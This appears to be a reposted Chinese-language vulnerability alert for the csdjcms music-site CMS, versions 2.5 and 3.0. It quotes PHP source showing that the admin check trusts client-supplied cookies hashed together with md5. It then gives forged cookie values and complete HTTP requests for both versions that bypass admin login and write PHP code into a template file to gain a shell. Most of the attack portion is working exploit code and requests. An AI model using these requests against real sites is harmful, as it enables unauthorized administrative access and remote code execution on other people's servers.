csdjcms 一款YY 与YY肥猪流喜欢用的唱歌网站，
csdjcms(程氏舞曲管理系统) V 3.0 getshell 漏洞漏洞预警
。。csdjcms V 2.5 code
//老规矩首先首页开始看
include_once(“include/install.php”);
if(S_IsInstall==0){
header(“Location:install/install.php”);
}
include_once(“include/label.php”);
if(S_Webmode==1 or !file_exists(“index.html”)){
//缓存区
$cache_id =’index_’;
if(!($cache_opt->start($cache_id))){
echo GetTemp(“index.html”,0);
$cache_opt->end();
}
}
else{
header(“Location:index.html”);
}
//看他配置吧
function SafeRequest($key,$mode,$isfilter=”){
set_magic_quotes_runtime(0);
$magic= get_magic_quotes_gpc();
switch ($mode){
case ‘post’:
$value=isset($_POST[$key]) ?$magic?trim($_POST[$key]):addslashes(trim($_POST[$key])) : ”;
break;
case ‘get’:
$value=isset($_GET[$key]) ?$magic?trim($_GET[$key]):addslashes(trim($_GET[$key])) : ”;
break;
default:
$value=isset($_POST[$key]) ?$magic?trim($_POST[$key]):addslashes(trim($_POST[$key])) : ”;
if($value==”"){
$value=isset($_GET[$key]) ?$magic?trim($_GET[$key]):addslashes(trim($_GET[$key])) : ”;
}
break;
}
if($isfilter!=”){
$value=lib_replace_end_tag($value);
}
return $value;
}
//变量的提交进行了addslashes安全过滤
//研究了半天的源码发现后台的严重出现了大的安全问题
include “../include/conn.php”;
include “../include/function.php”;
include “admin_version.php”;
include “admin_loginstate.php”; //问题出在这个文件当中
//跟入
if(empty($_COOKIE['S_AdminID'])){ //首先看是否存在s_adminid这个cooke
echo “”;
}
elseif($_COOKIE['S_Login']!=md5($_COOKIE['S_AdminID'].$_COOKIE['S_AdminUserName'].$_COOKIE['S_AdminPassWord'].$_COOKIE['S_Permission'])){
//这里就是问题的关键之处了
如果s_login 的值等于 四个cookie 相加的md5加密，即可直接验证通过
echo “”;
}
//后台权限判断
function SystemPer($Column){
if(empty($_COOKIE['S_Permission'])){
die(“”);
}else{
$SystemPermission=explode(“,”,$_COOKIE['S_Permission']); //权限的判断，用“，”来分割成数组
$StateOK=0;
$ArrSystemPermission=count($SystemPermission);
for($k=0;$k<$ArrSystemPermission;$k++){
if($SystemPermission[$k]==$Column){ //判断
$StateOK=1;
}
}
if($StateOK==0){
die(“”);
}
}
}
//构造 的cookies
//S_Permission
//1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
//S_Login
//md5(AdminID+AdminUserName+AdminPassWord+S_Permission)
//S_AdminUserName
//1
//S_AdminPassWord
//1
//S_AdminID
//1
后台成功绕过，
电脑资料
《csdjcms(程氏舞曲管理系统) V 3.0 getshell 漏洞漏洞预警》(https://www.unjs.com)。//看看3.0版本，也是一样
# Name: PHP版程氏音乐CMS管理系统 v3.0
# Author: 程氏
# Homepage:http://www.chshcms.cn/
$CS_Path=$_SERVER['PHP_SELF'];
$CS_Pathall=explode(“/”,$CS_Path);
$CS_Admin=$CS_Pathall[1].”/”;
if(empty($_COOKIE['CS_AdminID'])){
echo “”;
}
elseif($_COOKIE['CS_Login']!=md5($_COOKIE['CS_AdminID'].$_COOKIE['CS_AdminUserName'].$_COOKIE['CS_AdminPassWord'].$_COOKIE['CS_Quanx'])){
echo “”;
}
//后台权限判断
function SystemPer($Column){
if(empty($_COOKIE['CS_Quanx'])){
die(“”);
exit();
}else{
$SystemPermission=explode(“,”,$_COOKIE['CS_Quanx']);
$StateOK=0;
$ArrSystemPermission=count($SystemPermission);
for($k=0;$k<$ArrSystemPermission;$k++){
if($SystemPermission[$k]==$Column){
$StateOK=1;
}
}
if($StateOK==0){
die(“”);
exit();
}
}
exp V2.5
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.xxx.com/admin/admin_t … ;file=artindex.html
Cookie: S_Permission=1,2,3,4,5,6,7,8,9,10,11,12,13,14,15; S_Login=d8d998f3eb371c2009acd8580c1821d0; S_AdminUserName=1; S_AdminPassWord=1; S_AdminID=1; CNZZDATA4170884=cnzz_eid%3D1098390420-1364934762-http%253A%252F%252Fwww.hshxs.com%26ntime%3D1364935608%26cnzz_a%3D19%26retime%3D1365111972892%26sin%3Dnone%26ltime%3D1365111972892%26rtime%3D0; bdshare_firstime=1365107576347; PHPSESSID=u6kd9d6f18fhfr9bi4if6agcj6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 169
FileName=cs-bottom.php&content=%3C%3Fphp+phpinfo+%3F%3E&folder=..%2Fskins%2Findex%2Fhtml%2F&tempname=%C4%AC%C8%CF%C4%A3%B0%E6&Submit=%D0%DE%B8%C4%B5%B1%C7%B0%C4%A3%B0%E5
——————————————–
exp V3.0：
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.xxx.com/admin/skins/s … ;name=cs-bottom.php
Cookie: CS_AdminID=1; CS_AdminUserName=1; CS_AdminPassWord=1; CS_Quanx=0_1,1_1,1_2,1_3,1_4,1_5,2_1,2_2,2_3,2_4,2_5,2_6,2_7,3_1,3_2,3_3,3_4,4_1,4_2,4_3,4_4,4_5,4_6,4_7,5_1,5_2,5_3,5_4,5_5,6_1,6_2,6_3,7_1,7_2,8_1,8_2,8_3,8_4; CS_Login=a3f5f5a662e8a36525f4794856e2d0a2; PHPSESSID=48ogo025b66lkat9jtc8aecub1; CNZZDATA3755283=cnzz_eid%3D1523253931-1364956519-http%253A%252F%252Fwww.djkao.com%26ntime%3D1364956519%26cnzz_a%3D1%26retime%3D1365129491148%26sin%3D%26ltime%3D1365129491148%26rtime%3D0; bdshare_firstime=1365129335963
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
name=cs-bottom.php&content=%3C%3Fphp+phpinfo%28%29+%3F%3E